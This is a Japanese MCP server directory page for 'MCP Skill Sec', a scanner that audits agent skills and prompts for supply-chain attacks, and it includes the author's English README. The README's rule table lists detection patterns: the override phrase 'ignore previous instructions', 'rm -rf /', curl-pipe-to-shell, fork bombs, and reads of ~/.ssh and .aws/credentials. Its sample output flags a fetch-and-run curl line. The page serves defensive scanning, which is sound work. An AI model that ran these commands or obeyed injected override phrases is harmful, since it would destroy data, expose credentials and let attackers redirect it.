MCP Skill Sec

Name: MCP Skill Sec
Author: sudo-ai-git

作者：sudo-ai-gitバージョン 1.0.0i★ –iパソコンで動く

レジストリ名io.github.sudo-ai-git/mcp-skill-sec

インストール

概要

作者による説明（英語の原文）

Audit agent skills/prompts against 8 supply-chain attack patterns. Deterministic, no-LLM scanner.

PopNx MCPの3つの柱

この3つを1つのスコアにまとめることはしません。意見、測定、人気はそれぞれ別のものだからです。

利用者の声iレビューはまだありませんレビューは今後のステップで、アカウント機能と一緒に始まります
私たちの基本チェックi1項目中1項目に合格公開情報からチェック。コードはまだスキャンしていません
利用状況i未計測★ –

できること

このサーバーのやさしい解説はまだ書いていません。以下はレジストリから読み取った事実です。

接続方法: パソコンで動く
トランスポート: stdio
カテゴリ: 検索・AIの記憶

インストール

使っているAIアプリを選んで、設定をコピーしてください。

インストールの前に

基本チェック：1項目中1項目に合格
あなたのパソコンで、あなたのユーザーと同じ権限（ファイル、ネットワーク、アプリ）で動きます。
レジストリには、入力が必要なキーは載っていません。

必要なもの

PyPIPythonのuvのインストール（uvxコマンドに必要）

どのアプリを使っていますか？

ClaudeClaude CodeCursorVS CodeChatGPT

上でアプリを選んでください。選んだアプリを覚えておくので、次からはボタンに「…にインストール」と表示されます。

Claude Desktop → Settings → Developer → Edit Config を開き、claude_desktop_config.json にこれを貼り付けます

{
  "mcpServers": {
    "skill-sec": {
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

ターミナルでこれを実行します

claude mcp add skill-sec -- uvx mcp-skill-sec

Cursorで開く

または、設定を自分でコピーする

プロジェクトの .cursor/mcp.json、または ~/.cursor/mcp.json に貼り付けます

{
  "mcpServers": {
    "skill-sec": {
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

ブラウザがアプリを開いてよいか確認し、そのあとアプリが設定を表示して確認を求めます。キーの値は空欄のままなので、自分で入力してください。

VS Codeで開く

または、設定を自分でコピーする

プロジェクトの .vscode/mcp.json に貼り付けます

{
  "servers": {
    "skill-sec": {
      "type": "stdio",
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

これはパソコンで動くサーバーですが、ChatGPTがつなげるのはインターネット上のサーバーだけです。ほかのアプリを選んでください。

選んだアプリは、この端末のCookieに保存されます。アカウントは不要です。

この設定は、作者のレジストリ登録情報から作成しています。READMEと違う場合は、READMEに従ってください。

できること

パソコンで動くサーバーです。インストールすると、ツール一覧がAIアプリに表示されます。

基本チェックi

誰でも見られる情報をチェックしており、コードは読んでいません。当てはまらない項目は数に入れていません。 · 2026年11月6日にチェック

✓ 合格
作者とリポジトリが一致
レジストリ名は、リポジトリを所有するGitHubアカウント sudo-ai-git で確認済みです
… 未チェック
今もメンテナンスされている
このリポジトリはまだGitHubから読み取っていません
… 未チェック
ライセンスがある
このリポジトリはまだGitHubから読み取っていません
– 対象外
エンドポイントが応答する
これはパソコンで動くため、インターネット上のエンドポイントはありません
– 対象外
OAuthでサインイン
パソコンで動き、代わりにローカルの設定を使います
… 未チェック
ツールの説明に隠れた指示がない
パソコンで動くサーバーです。ツール一覧を読み取れるのは、インターネット上のエンドポイントがある場合だけです

検索・AIの記憶のほかのサーバーとの比較i

このカテゴリのほかの7241件のうち0%よりスターが多い
このカテゴリのほかの7241件のうち34%より最近レジストリに公開
基本チェックの結果が、このカテゴリのほかの7241件のうち100%と同じかそれ以上

レジストリでこのカテゴリにある有効なすべてのサーバーと比較しています。スターは、公開者がリポジトリの所有者である場合だけ数えます。

よくある質問

MCP Skill Secは安全ですか？

当てはまる基本チェック1項目のうち1項目に合格しました。コードは読んでいません。キーやトークンを追加する前に、サーバーがどんなアクセスを求めているかを確認し、必要な権限だけを持つキーを使ってください。

どんなキーやコードが必要ですか？

レジストリには必須のキーは載っていません。ただし、最初に使うときにサインインを求めるサーバーもあります。

パソコンで動きますか、それともクラウドですか？

あなたのパソコンで動きます。必要なときにAIアプリが起動し、データは作者のサーバーを通りません（サーバー自体がオンラインサービスを呼び出す場合を除きます）。

今もメンテナンスされていますか？

GitHubリポジトリの最終更新は–、最新バージョン（1.0.0）がレジストリに届いたのは2 か月前です。

どのアプリで使えますか？

Claude Desktop、Claude Code、Cursor、VS CodeなどのMCP対応アプリで使えます。パソコンにPython (uv)も必要です。

代わりに使えるものは？

同じカテゴリには：Context7, Codebase Memory, Exa

代わりの候補

同じカテゴリで、ほかの作者が作ったサーバー。スターの多い順。

カードの見方：★ GitHubスターi3つの柱：レビュー · チェック · 利用状況i更新＝最新バージョンをレジストリに公開した日i

Context7

作者：upstash

Up-to-date docs for AI agents

パソコンでもクラウドでも★ 64,224MIT3 日前更新

インストール

Codebase Memory

作者：DeusData

Codebase knowledge graph for AI agents — 162 languages, sub-ms queries, 99% fewer tokens.

パソコンで動く★ 48,148MIT20 日前更新

インストール

Exa

作者：exa-labs

Connect AI agents to Exa for web search, content fetching, and multi-step research.

クラウドで動く★ 5,213MIT44 日前更新

インストール

作者のREADME

READMEを開く

作者のリポジトリから書かれたとおりにコピーしたものです。PopNx MCPは内容を確認・推奨していません。HTML、画像、スクリプトは取り除いています。リンクはこのサイトの外へ移動します。

mcp-skill-sec

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.

Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.

What it scans for (rules R1–R8)

Rule	Pattern
R1	Prompt injection / instruction hijack (`ignore previous instructions`, secrecy directives, identity overrides)
R2	Data exfiltration intent (send/post/email contents to a URL, log theft)
R3	Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings)
R4	Dangerous commands (`rm -rf /`, `curl \	sh`, fork bombs, raw device writes)
R5	Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars)
R6	Untrusted external fetches (fetch-and-run, non-PyPI installs)
R7	Credential access (reading `~/.ssh`, `.aws/credentials`, `.env`)
R8	Privilege escalation (`sudo -s`, setuid, adding to sudo group)

Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.

Tools

audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).
audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.
audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.
rule_list() — dump the rule catalog.

Install & run

One command (recommended) — installs from the repo, no PyPI token needed:

uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec

then register with your agent:

mcp-skill-sec # run stdio server mcp-skill-sec --http --port 8137 # or Streamable HTTP for remote use

Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec

Direct from source (fallback):

pip install mcp

python3 mcp_server.py # run stdio mcp install mcp_server.py --name skill-sec # register with Claude Desktop

Claude Desktop / agent config

"mcpServers": { "skill-sec": { "command": "mcp-skill-sec", "args": [] } } }

Example

skill-sec: /tmp/downloaded-skill/SKILL.md

verdict : FLAG counts : critical 1, high 2, medium 1, low 0 R3 [critical] line 11: api_key = "sk-live-…" R3 [high] line 14: password = "hunter2" R4 [critical] line 22: curl https://x/y.sh | sh action : remove the literal secrets, drop the fetch-and-run, re-audit

Part of a family

This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:

mcp-skill-sec — pre-install skill/security audit (this repo)
mcp-verify-claim — evidence-gated, honestly-tiered claim reporting
mcp-benchmark-hygiene — pytest config-leakage / eval-honesty detection

Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion

Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.

License & provenance

MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).

Official MCP Registry metadata

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

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Need this connected to *your* internal system (auth, logging, security-scan pass, hosted)? Open a custom-build request. MIT reference assets are free to use either way.

MCP Skill Sec

概要

PopNx MCPの3つの柱

できること

インストール

インストールの前に

できること

基本チェックi

作者とリポジトリが一致

今もメンテナンスされている

ライセンスがある

エンドポイントが応答する

OAuthでサインイン

ツールの説明に隠れた指示がない

検索・AIの記憶のほかのサーバーとの比較i

よくある質問

代わりの候補

Context7

Codebase Memory

Exa

作者のREADME

mcp-skill-sec

What it scans for (rules R1–R8)

Tools

Install & run

then register with your agent:

Claude Desktop / agent config

Example

Part of a family

License & provenance

Official MCP Registry metadata

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